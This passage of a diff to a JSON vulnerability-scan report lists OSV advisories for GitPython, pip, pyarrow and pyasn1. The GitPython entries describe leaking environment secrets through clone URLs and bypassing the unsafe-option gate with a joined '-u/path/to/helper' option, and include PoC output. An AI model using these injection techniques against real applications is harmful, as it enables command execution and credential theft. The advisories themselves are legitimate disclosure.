HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled \u2014 the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines \u2014 allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves \u2014 mirroring the existing deprecation on `Repo(path, expand_vars=\u2026)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.", - "id": "GHSA-rwj8-pgh3-r573", - "modified": "2026-07-23T03:14:29.805707445Z", - "published": "2026-07-21T22:06:09Z", "references": [ { "type": "WEB", @@ -1492,24 +1451,35 @@ "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52" } ], + "database_specific": { + "cwe_ids": [ + "CWE-200", + "CWE-201" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T22:06:09Z", + "nvd_published_at": null, + "severity": "HIGH" + } + }, + { + "modified": "2026-07-23T03:14:30Z", + "published": "2026-07-21T19:43:14Z", + "schema_version": "1.7.5", + "id": "GHSA-v396-v7q4-x2qj", "related": [ - "CGA-5665-f577-gxxx" + "CGA-5w9h-q384-cggx" ], - "schema_version": "1.7.5", + "summary": "GitPython unsafe clone option gate bypass through joined short options", + "details": "`GitPython` version `3.1.50` blocks unsafe `git clone` options such as `--upload-pack`, `-u`, `--config`, and `-c` unless callers explicitly pass `allow_unsafe_options=True`. However, the default unsafe-option gate does not recognize joined short-option forms such as `-u/path/to/helper`.\n\nGit itself accepts `-u` as the short form of `--upload-pack=`. As a result, `Repo.clone_from(..., multi_options=[\"-u\"], allow_unsafe_options=False)` can execute the helper command even though the equivalent long option is blocked.\n\nAffected package:\n\n- Ecosystem: PyPI\n- Package: `GitPython`\n- Confirmed affected version: `3.1.50`\n- Repository: `gitpython-developers/GitPython`\n- Current PyPI version during triage: `3.1.50`\n\nRelevant behavior:\n\n- `Repo.unsafe_git_clone_options` correctly lists `--upload-pack`, `-u`, `--config`, and `-c` as unsafe clone options.\n- `Repo._clone()` splits `multi_options` with `shlex.split(\" \".join(multi_options))` and then calls `Git.check_unsafe_options(...)`.\n- `_canonicalize_option_name(\"-u/path/to/helper\")` returns a string beginning with `u...`, not the canonical short option `u`, so it does not match the blocked `-u` entry.\n- Git accepts the same joined short option as `--upload-pack=` and executes the helper during clone.\n\nPreconditions:\n\nAn application must pass attacker-influenced clone options into `Repo.clone_from(..., multi_options=...)` while relying on GitPython's default unsafe-option gate to block command-executing options.\n\nThe local PoC uses only a local bare Git repository and a local helper script. It does not contact any third-party service.\n\nLocal reproduction:\n\nThe PoC creates a disposable bare Git repository, a helper script, and a sentinel file path. It first confirms that the long `--upload-pack=` form is blocked by GitPython. It then calls `Repo.clone_from(..., multi_options=[\"-u\"], allow_unsafe_options=False)`.\n\nObserved sanitized output:\n\n```text\ngitpython_version=3.1.50\ngit_version=git version 2.53.0.windows.1\ntmp_dir=\nlong_upload_pack_gate=BLOCKED:UnsafeOptionError\njoined_short_upload_pack_gate=ALLOWED\nclone_result=EXPECTED_EXCEPTION:GitCommandError\nsentinel_exists=True\nsentinel_text=GITPYTHON_UNSAFE_OPTION_BYPASS\n```\n\nThe clone fails because the helper exits nonzero, but the sentinel file proves that Git executed the helper despite `allow_unsafe_options=False`.\n\nImpact:\n\nAn attacker who controls `multi_options` can bypass GitPython's default `allow_unsafe_options=False` protection and execute a local command via Git's `--upload-pack` / `-u` clone option. This is a residual bypass of an explicit GitPython security boundary, not merely a case where a caller opted into unsafe behavior.\n\nDuplicate / related advisory checks:\n\n- OSV query for `PyPI/GitPython` version `3.1.50` returned no vulnerabilities.\n- The repository's public advisories include related unsafe Git option issues, including `GHSA-x2qx-6953-8485` / `CVE-2026-42284` and `GHSA-rpm5-65cw-6hj4` / `CVE-2026-42215`. Their public affected ranges are marked as fixed before 3.1.50.\n- `GHSA-x2qx-6953-8485` describes validating `multi_options` before `shlex.split(...)`. GitPython 3.1.50 now validates after splitting, but the joined short option `-u` still bypasses because the validator canonicalizes it to `u` rather than `u`.\n- `GHSA-rpm5-65cw-6hj4` describes unsafe underscored kwargs such as `upload_pack=...`. The current PoC uses `multi_options=[\"-u\"]` against 3.1.50 and does not depend on underscored kwargs.\n- GitHub issue search for `upload-pack unsafe options` found historical related items, including CVE-2022-24439 and the earlier unsafe-options gate work, but no public issue describing this current joined-short-option residual bypass in 3.1.50.\n- GitHub issue search for `multi_options unsafe` found PR #2130, which fixed splitting of `multi_options` before checking. The current issue remains after that split because `-u` is treated as option name `u`, not blocked short option `u`.\n- GitHub issue searches for `u unsafe` and `-cfoo` returned no results.\n\nSuggested remediation:\n\nWhen checking unsafe Git options, parse joined short options that take values. For clone, `-uVALUE` and `-cKEY=VALUE` should be canonicalized to `u` and `c` respectively before comparing against the unsafe option set.\n\nA safer approach is to maintain command-specific metadata for unsafe short options and recognize the bare option, split form, joined form, and long `--option=` / `--option ` forms.", "severity": [ { - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", - "type": "CVSS_V3" + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" } ], - "summary": "GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL" - }, - { "affected": [ { - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-v396-v7q4-x2qj/GHSA-v396-v7q4-x2qj.json" - }, "package": { "ecosystem": "PyPI", "name": "gitpython", @@ -1517,6 +1487,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "3.1.50" @@ -1524,28 +1495,17 @@ { "fixed": "3.1.51" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ "3.1.50" - ] + ], + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-v396-v7q4-x2qj/GHSA-v396-v7q4-x2qj.json" + } } ], - "database_specific": { - "cwe_ids": [ - "CWE-78" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T19:43:14Z", - "nvd_published_at": null, - "severity": "HIGH" - }, - "details": "`GitPython` version `3.1.50` blocks unsafe `git clone` options such as `--upload-pack`, `-u`, `--config`, and `-c` unless callers explicitly pass `allow_unsafe_options=True`. However, the default unsafe-option gate does not recognize joined short-option forms such as `-u/path/to/helper`.\n\nGit itself accepts `-u` as the short form of `--upload-pack=`. As a result, `Repo.clone_from(..., multi_options=[\"-u\"], allow_unsafe_options=False)` can execute the helper command even though the equivalent long option is blocked.\n\nAffected package:\n\n- Ecosystem: PyPI\n- Package: `GitPython`\n- Confirmed affected version: `3.1.50`\n- Repository: `gitpython-developers/GitPython`\n- Current PyPI version during triage: `3.1.50`\n\nRelevant behavior:\n\n- `Repo.unsafe_git_clone_options` correctly lists `--upload-pack`, `-u`, `--config`, and `-c` as unsafe clone options.\n- `Repo._clone()` splits `multi_options` with `shlex.split(\" \".join(multi_options))` and then calls `Git.check_unsafe_options(...)`.\n- `_canonicalize_option_name(\"-u/path/to/helper\")` returns a string beginning with `u...`, not the canonical short option `u`, so it does not match the blocked `-u` entry.\n- Git accepts the same joined short option as `--upload-pack=` and executes the helper during clone.\n\nPreconditions:\n\nAn application must pass attacker-influenced clone options into `Repo.clone_from(..., multi_options=...)` while relying on GitPython's default unsafe-option gate to block command-executing options.\n\nThe local PoC uses only a local bare Git repository and a local helper script. It does not contact any third-party service.\n\nLocal reproduction:\n\nThe PoC creates a disposable bare Git repository, a helper script, and a sentinel file path. It first confirms that the long `--upload-pack=` form is blocked by GitPython. It then calls `Repo.clone_from(..., multi_options=[\"-u\"], allow_unsafe_options=False)`.\n\nObserved sanitized output:\n\n```text\ngitpython_version=3.1.50\ngit_version=git version 2.53.0.windows.1\ntmp_dir=\nlong_upload_pack_gate=BLOCKED:UnsafeOptionError\njoined_short_upload_pack_gate=ALLOWED\nclone_result=EXPECTED_EXCEPTION:GitCommandError\nsentinel_exists=True\nsentinel_text=GITPYTHON_UNSAFE_OPTION_BYPASS\n```\n\nThe clone fails because the helper exits nonzero, but the sentinel file proves that Git executed the helper despite `allow_unsafe_options=False`.\n\nImpact:\n\nAn attacker who controls `multi_options` can bypass GitPython's default `allow_unsafe_options=False` protection and execute a local command via Git's `--upload-pack` / `-u` clone option. This is a residual bypass of an explicit GitPython security boundary, not merely a case where a caller opted into unsafe behavior.\n\nDuplicate / related advisory checks:\n\n- OSV query for `PyPI/GitPython` version `3.1.50` returned no vulnerabilities.\n- The repository's public advisories include related unsafe Git option issues, including `GHSA-x2qx-6953-8485` / `CVE-2026-42284` and `GHSA-rpm5-65cw-6hj4` / `CVE-2026-42215`. Their public affected ranges are marked as fixed before 3.1.50.\n- `GHSA-x2qx-6953-8485` describes validating `multi_options` before `shlex.split(...)`. GitPython 3.1.50 now validates after splitting, but the joined short option `-u` still bypasses because the validator canonicalizes it to `u` rather than `u`.\n- `GHSA-rpm5-65cw-6hj4` describes unsafe underscored kwargs such as `upload_pack=...`. The current PoC uses `multi_options=[\"-u\"]` against 3.1.50 and does not depend on underscored kwargs.\n- GitHub issue search for `upload-pack unsafe options` found historical related items, including CVE-2022-24439 and the earlier unsafe-options gate work, but no public issue describing this current joined-short-option residual bypass in 3.1.50.\n- GitHub issue search for `multi_options unsafe` found PR #2130, which fixed splitting of `multi_options` before checking. The current issue remains after that split because `-u` is treated as option name `u`, not blocked short option `u`.\n- GitHub issue searches for `u unsafe` and `-cfoo` returned no results.\n\nSuggested remediation:\n\nWhen checking unsafe Git options, parse joined short options that take values. For clone, `-uVALUE` and `-cKEY=VALUE` should be canonicalized to `u` and `c` respectively before comparing against the unsafe option set.\n\nA safer approach is to maintain command-specific metadata for unsafe short options and recognize the bare option, split form, joined form, and long `--option=` / `--option ` forms.", - "id": "GHSA-v396-v7q4-x2qj", - "modified": "2026-07-23T03:14:30.616927277Z", - "published": "2026-07-21T19:43:14Z", "references": [ { "type": "WEB", @@ -1564,22 +1524,61 @@ "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51" } ], - "related": [ - "CGA-5w9h-q384-cggx" - ], - "schema_version": "1.7.5", - "severity": [ - { - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", - "type": "CVSS_V4" - } - ], - "summary": "GitPython unsafe clone option gate bypass through joined short options" - } - ] - }, - { - "package": { + "database_specific": { + "cwe_ids": [ + "CWE-78" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T19:43:14Z", + "nvd_published_at": null, + "severity": "HIGH" + } + } + ], + "groups": [ + { + "ids": [ + "GHSA-2f96-g7mh-g2hx" + ], + "aliases": [ + "GHSA-2f96-g7mh-g2hx" + ], + "max_severity": "8.8" + }, + { + "ids": [ + "GHSA-956x-8gvw-wg5v" + ], + "aliases": [ + "GHSA-956x-8gvw-wg5v" + ], + "max_severity": "8.4" + }, + { + "ids": [ + "GHSA-rwj8-pgh3-r573" + ], + "aliases": [ + "GHSA-rwj8-pgh3-r573" + ], + "max_severity": "7.5" + }, + { + "ids": [ + "GHSA-v396-v7q4-x2qj" + ], + "aliases": [ + "GHSA-v396-v7q4-x2qj" + ], + "max_severity": "8.7" + } + ], + "licenses": [ + "BSD-3-Clause" + ] + }, + { + "package": { "name": "google-auth", "version": "2.49.1", "ecosystem": "PyPI" @@ -2348,56 +2347,6 @@ "Apache-2.0" ] }, - { - "package": { - "name": "nemo-fabric", - "version": "0.1.0a20260722", - "ecosystem": "PyPI" - }, - "licenses": [ - "Apache-2.0" - ] - }, - { - "package": { - "name": "nemo-fabric-adapters-codex", - "version": "0.1.0a20260722", - "ecosystem": "PyPI" - }, - "licenses": [ - "Apache-2.0" - ] - }, - { - "package": { - "name": "nemo-fabric-adapters-common", - "version": "0.1.0a20260722", - "ecosystem": "PyPI" - }, - "licenses": [ - "Apache-2.0" - ] - }, - { - "package": { - "name": "nemo-fabric-adapters-hermes", - "version": "0.1.0a20260722", - "ecosystem": "PyPI" - }, - "licenses": [ - "Apache-2.0" - ] - }, - { - "package": { - "name": "nemo-fabric-runtime", - "version": "0.1.0a20260722", - "ecosystem": "PyPI" - }, - "licenses": [ - "Apache-2.0" - ] - }, { "package": { "name": "nemo-relay", @@ -2608,26 +2557,6 @@ "Apache-2.0" ] }, - { - "package": { - "name": "openai-codex", - "version": "0.144.4", - "ecosystem": "PyPI" - }, - "licenses": [ - "Apache-2.0" - ] - }, - { - "package": { - "name": "openai-codex-cli-bin", - "version": "0.144.4", - "ecosystem": "PyPI" - }, - "licenses": [ - "Apache-2.0" - ] - }, { "package": { "name": "openapi-pydantic", @@ -2934,31 +2863,25 @@ "version": "26.1.1", "ecosystem": "PyPI" }, - "groups": [ + "vulnerabilities": [ { - "ids": [ - "PYSEC-2026-196", - "GHSA-wf93-45jw-7689" - ], + "modified": "2026-07-13T16:45:04Z", + "published": "2026-06-01T17:17:35Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-196", "aliases": [ "CVE-2026-8643", - "GHSA-wf93-45jw-7689", - "PYSEC-2026-196" + "GHSA-wf93-45jw-7689" + ], + "details": "pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N" + } ], - "max_severity": "8.0" - } - ], - "licenses": [ - "MIT" - ], - "vulnerabilities": [ - { "affected": [ { - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pip/PYSEC-2026-196.yaml" - }, - "ecosystem_specific": {}, "package": { "ecosystem": "PyPI", "name": "pip", @@ -2966,6 +2889,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -2973,8 +2897,7 @@ { "fixed": "26.1.2" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -3134,17 +3057,12 @@ "9.0.1", "9.0.2", "9.0.3" - ] + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pip/PYSEC-2026-196.yaml" + } } ], - "aliases": [ - "CVE-2026-8643", - "GHSA-wf93-45jw-7689" - ], - "details": "pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.", - "id": "PYSEC-2026-196", - "modified": "2026-07-13T16:45:04.859457874Z", - "published": "2026-06-01T17:17:35.770Z", "references": [ { "type": "ADVISORY", @@ -3162,21 +3080,34 @@ "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-wf93-45jw-7689" } - ], + ] + }, + { + "modified": "2026-07-14T02:29:29Z", + "published": "2026-06-01T18:31:53Z", "schema_version": "1.7.5", + "id": "GHSA-wf93-45jw-7689", + "aliases": [ + "CVE-2026-8643", + "PYSEC-2026-196" + ], + "related": [ + "CGA-9gv8-q962-65h9" + ], + "summary": " pip: Path traversal in console_scripts/gui_scripts\u00a0entry point names allows installing scripts outside of target directory", + "details": "pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.", "severity": [ { - "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", - "type": "CVSS_V3" + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N" } - ] - }, - { + ], "affected": [ { - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-wf93-45jw-7689/GHSA-wf93-45jw-7689.json" - }, "package": { "ecosystem": "PyPI", "name": "pip", @@ -3184,6 +3115,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -3191,8 +3123,7 @@ { "fixed": "26.1.2" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -3352,26 +3283,12 @@ "9.0.1", "9.0.2", "9.0.3" - ] + ], + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-wf93-45jw-7689/GHSA-wf93-45jw-7689.json" + } } ], - "aliases": [ - "CVE-2026-8643", - "PYSEC-2026-196" - ], - "database_specific": { - "cwe_ids": [ - "CWE-22" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-08T21:00:36Z", - "nvd_published_at": "2026-06-01T17:17:35Z", - "severity": "MODERATE" - }, - "details": "pip would treat console_scripts and gui_scripts as paths instead of file names without sanitizing the resolved absolute path to the installation directory, leading to entry points being installed outside the installation directory.", - "id": "GHSA-wf93-45jw-7689", - "modified": "2026-07-14T02:29:29.982772188Z", - "published": "2026-06-01T18:31:53Z", "references": [ { "type": "ADVISORY", @@ -3518,22 +3435,33 @@ "url": "http://www.openwall.com/lists/oss-security/2026/06/01/5" } ], - "related": [ - "CGA-9gv8-q962-65h9" + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-08T21:00:36Z", + "nvd_published_at": "2026-06-01T17:17:35Z", + "severity": "MODERATE" + } + } + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-196", + "GHSA-wf93-45jw-7689" ], - "schema_version": "1.7.5", - "severity": [ - { - "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", - "type": "CVSS_V3" - }, - { - "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", - "type": "CVSS_V4" - } + "aliases": [ + "CVE-2026-8643", + "GHSA-wf93-45jw-7689", + "PYSEC-2026-196" ], - "summary": " pip: Path traversal in console_scripts/gui_scripts\u00a0entry point names allows installing scripts outside of target directory" + "max_severity": "8.0" } + ], + "licenses": [ + "MIT" ] }, { @@ -3702,30 +3630,25 @@ "version": "22.0.0", "ecosystem": "PyPI" }, - "groups": [ + "vulnerabilities": [ { - "ids": [ - "PYSEC-2026-113", - "GHSA-rgxp-2hwp-jwgg" - ], + "modified": "2026-06-10T17:01:40Z", + "published": "2026-02-17T14:16:01Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-113", "aliases": [ "CVE-2026-25087", - "GHSA-rgxp-2hwp-jwgg", - "PYSEC-2026-113" + "GHSA-rgxp-2hwp-jwgg" + ], + "details": "Use After Free vulnerability in Apache Arrow C++.\n\nThis issue affects Apache Arrow C++ from 15.0.0 through 23.0.0. It can be triggered when reading an Arrow IPC file (but not an IPC stream) with pre-buffering enabled, if the IPC file contains data with variadic buffers (such as Binary View and String View data). Depending on the number of variadic buffers in a record batch column and on the temporal sequence of multi-threaded IO, a write to a dangling pointer could occur. The value (a `std::shared_ptr` object)\u00a0that is written to the dangling pointer is not under direct control of the attacker.\n\nPre-buffering is disabled by default but can be enabled using a specific C++ API call (`RecordBatchFileReader::PreBufferMetadata`). The functionality is not exposed in language bindings (Python, Ruby, C GLib), so these bindings are not vulnerable.\n\nThe most likely consequence of this issue would be random crashes or memory corruption when reading specific kinds of IPC files. If the application allows ingesting IPC files from untrusted sources, this could plausibly be exploited for denial of service. Inducing more targeted kinds of misbehavior (such as confidential data extraction from the running process) depends on memory allocation and multi-threaded IO temporal patterns that are unlikely to be easily controlled by an attacker.\n\nAdvice for users of Arrow C++:\n\n1. check whether you enable pre-buffering on the IPC file reader (using\u00a0`RecordBatchFileReader::PreBufferMetadata`)\n \n2. if so, either disable pre-buffering (which may have adverse performance consequences), or switch to Arrow 23.0.1 which is not vulnerable", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H" + } ], - "max_severity": "7.0" - } - ], - "licenses": [ - "non-standard" - ], - "vulnerabilities": [ - { "affected": [ { - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyarrow/PYSEC-2026-113.yaml" - }, "package": { "ecosystem": "PyPI", "name": "pyarrow", @@ -3733,6 +3656,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "15.0.0" @@ -3740,8 +3664,7 @@ { "fixed": "23.0.1" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -3759,17 +3682,12 @@ "21.0.0", "22.0.0", "23.0.0" - ] + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/pyarrow/PYSEC-2026-113.yaml" + } } ], - "aliases": [ - "CVE-2026-25087", - "GHSA-rgxp-2hwp-jwgg" - ], - "details": "Use After Free vulnerability in Apache Arrow C++.\n\nThis issue affects Apache Arrow C++ from 15.0.0 through 23.0.0. It can be triggered when reading an Arrow IPC file (but not an IPC stream) with pre-buffering enabled, if the IPC file contains data with variadic buffers (such as Binary View and String View data). Depending on the number of variadic buffers in a record batch column and on the temporal sequence of multi-threaded IO, a write to a dangling pointer could occur. The value (a `std::shared_ptr` object)\u00a0that is written to the dangling pointer is not under direct control of the attacker.\n\nPre-buffering is disabled by default but can be enabled using a specific C++ API call (`RecordBatchFileReader::PreBufferMetadata`). The functionality is not exposed in language bindings (Python, Ruby, C GLib), so these bindings are not vulnerable.\n\nThe most likely consequence of this issue would be random crashes or memory corruption when reading specific kinds of IPC files. If the application allows ingesting IPC files from untrusted sources, this could plausibly be exploited for denial of service. Inducing more targeted kinds of misbehavior (such as confidential data extraction from the running process) depends on memory allocation and multi-threaded IO temporal patterns that are unlikely to be easily controlled by an attacker.\n\nAdvice for users of Arrow C++:\n\n1. check whether you enable pre-buffering on the IPC file reader (using\u00a0`RecordBatchFileReader::PreBufferMetadata`)\n \n2. if so, either disable pre-buffering (which may have adverse performance consequences), or switch to Arrow 23.0.1 which is not vulnerable", - "id": "PYSEC-2026-113", - "modified": "2026-06-10T17:01:40.430051819Z", - "published": "2026-02-17T14:16:01.947Z", "references": [ { "type": "ADVISORY", @@ -3787,21 +3705,30 @@ "type": "ADVISORY", "url": "https://github.com/advisories/GHSA-rgxp-2hwp-jwgg" } - ], - "schema_version": "1.7.5", - "severity": [ - { - "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H", - "type": "CVSS_V3" - } ] }, { + "modified": "2026-06-12T10:29:15Z", + "published": "2026-02-17T15:31:35Z", + "schema_version": "1.7.5", + "id": "GHSA-rgxp-2hwp-jwgg", + "aliases": [ + "CVE-2026-25087", + "PYSEC-2026-113" + ], + "related": [ + "CGA-4vwc-3x55-4m28" + ], + "summary": "Apache Arrow: Potential use-after-free when reading IPC file with pre-buffering", + "details": "Use After Free vulnerability in Apache Arrow C++.\n\nThis issue affects Apache Arrow C++ from 15.0.0 through 23.0.0. It can be triggered when reading an Arrow IPC file (but not an IPC stream) with pre-buffering enabled, if the IPC file contains data with variadic buffers (such as Binary View and String View data). Depending on the number of variadic buffers in a record batch column and on the temporal sequence of multi-threaded IO, a write to a dangling pointer could occur. The value (a `std::shared_ptr` object)\u00a0that is written to the dangling pointer is not under direct control of the attacker.\n\nPre-buffering is disabled by default but can be enabled using a specific C++ API call (`RecordBatchFileReader::PreBufferMetadata`). The functionality is not exposed in language bindings (Python, Ruby, C GLib), so these bindings are not vulnerable.\n\nThe most likely consequence of this issue would be random crashes or memory corruption when reading specific kinds of IPC files. If the application allows ingesting IPC files from untrusted sources, this could plausibly be exploited for denial of service. Inducing more targeted kinds of misbehavior (such as confidential data extraction from the running process) depends on memory allocation and multi-threaded IO temporal patterns that are unlikely to be easily controlled by an attacker.\n\nAdvice for users of Arrow C++:\n\n1. check whether you enable pre-buffering on the IPC file reader (using\u00a0`RecordBatchFileReader::PreBufferMetadata`)\n\n2. if so, either disable pre-buffering (which may have adverse performance consequences), or switch to Arrow 23.0.1 which is not vulnerable", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H" + } + ], "affected": [ { - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-rgxp-2hwp-jwgg/GHSA-rgxp-2hwp-jwgg.json" - }, "package": { "ecosystem": "PyPI", "name": "pyarrow", @@ -3809,6 +3736,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "15.0.0" @@ -3816,8 +3744,7 @@ { "fixed": "23.0.1" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -3835,26 +3762,12 @@ "21.0.0", "22.0.0", "23.0.0" - ] + ], + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-rgxp-2hwp-jwgg/GHSA-rgxp-2hwp-jwgg.json" + } } ], - "aliases": [ - "CVE-2026-25087", - "PYSEC-2026-113" - ], - "database_specific": { - "cwe_ids": [ - "CWE-416" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-05T21:39:35Z", - "nvd_published_at": "2026-02-17T14:16:01Z", - "severity": "HIGH" - }, - "details": "Use After Free vulnerability in Apache Arrow C++.\n\nThis issue affects Apache Arrow C++ from 15.0.0 through 23.0.0. It can be triggered when reading an Arrow IPC file (but not an IPC stream) with pre-buffering enabled, if the IPC file contains data with variadic buffers (such as Binary View and String View data). Depending on the number of variadic buffers in a record batch column and on the temporal sequence of multi-threaded IO, a write to a dangling pointer could occur. The value (a `std::shared_ptr` object)\u00a0that is written to the dangling pointer is not under direct control of the attacker.\n\nPre-buffering is disabled by default but can be enabled using a specific C++ API call (`RecordBatchFileReader::PreBufferMetadata`). The functionality is not exposed in language bindings (Python, Ruby, C GLib), so these bindings are not vulnerable.\n\nThe most likely consequence of this issue would be random crashes or memory corruption when reading specific kinds of IPC files. If the application allows ingesting IPC files from untrusted sources, this could plausibly be exploited for denial of service. Inducing more targeted kinds of misbehavior (such as confidential data extraction from the running process) depends on memory allocation and multi-threaded IO temporal patterns that are unlikely to be easily controlled by an attacker.\n\nAdvice for users of Arrow C++:\n\n1. check whether you enable pre-buffering on the IPC file reader (using\u00a0`RecordBatchFileReader::PreBufferMetadata`)\n\n2. if so, either disable pre-buffering (which may have adverse performance consequences), or switch to Arrow 23.0.1 which is not vulnerable", - "id": "GHSA-rgxp-2hwp-jwgg", - "modified": "2026-06-12T10:29:15.451071539Z", - "published": "2026-02-17T15:31:35Z", "references": [ { "type": "ADVISORY", @@ -3881,18 +3794,33 @@ "url": "http://www.openwall.com/lists/oss-security/2026/02/17/4" } ], - "related": [ - "CGA-4vwc-3x55-4m28" + "database_specific": { + "cwe_ids": [ + "CWE-416" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-06-05T21:39:35Z", + "nvd_published_at": "2026-02-17T14:16:01Z", + "severity": "HIGH" + } + } + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-113", + "GHSA-rgxp-2hwp-jwgg" ], - "schema_version": "1.7.5", - "severity": [ - { - "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H", - "type": "CVSS_V3" - } + "aliases": [ + "CVE-2026-25087", + "GHSA-rgxp-2hwp-jwgg", + "PYSEC-2026-113" ], - "summary": "Apache Arrow: Potential use-after-free when reading IPC file with pre-buffering" + "max_severity": "7.0" } + ], + "licenses": [ + "non-standard" ] }, { @@ -3901,54 +3829,25 @@ "version": "0.6.3", "ecosystem": "PyPI" }, - "groups": [ + "vulnerabilities": [ { - "ids": [ - "PYSEC-2026-3455" - ], + "modified": "2026-07-22T11:00:08Z", + "published": "2026-07-14T17:17:14Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-3455", "aliases": [ "CVE-2026-59884", - "GHSA-m4p7-r5rc-7g4j", - "PYSEC-2026-3455" - ], - "max_severity": "7.5" - }, - { - "ids": [ - "PYSEC-2026-3456", - "GHSA-8ppf-4f7h-5ppj" - ], - "aliases": [ - "CVE-2026-59885", - "GHSA-8ppf-4f7h-5ppj", - "PYSEC-2026-3456" - ], - "max_severity": "7.5" - }, - { - "ids": [ - "PYSEC-2026-3457", - "GHSA-hm4w-wwcw-mr6r" + "GHSA-m4p7-r5rc-7g4j" ], - "aliases": [ - "CVE-2026-59886", - "GHSA-hm4w-wwcw-mr6r", - "PYSEC-2026-3457" + "details": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER decoder shared by the CER and DER codecs parses long-form tags by accumulating continuation octets without an upper bound on the tag ID size, allowing a crafted input to force construction of an arbitrarily large integer with CPU cost growing quadratically and to trigger unhandled ValueError exceptions in Python 3.11+ error formatting paths. Any application decoding untrusted BER, CER, or DER input is affected. This issue is fixed in version 0.6.4.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } ], - "max_severity": "7.5" - } - ], - "licenses": [ - "BSD-2-Clause" - ], - "vulnerabilities": [ - { "affected": [ { - "database_specific": 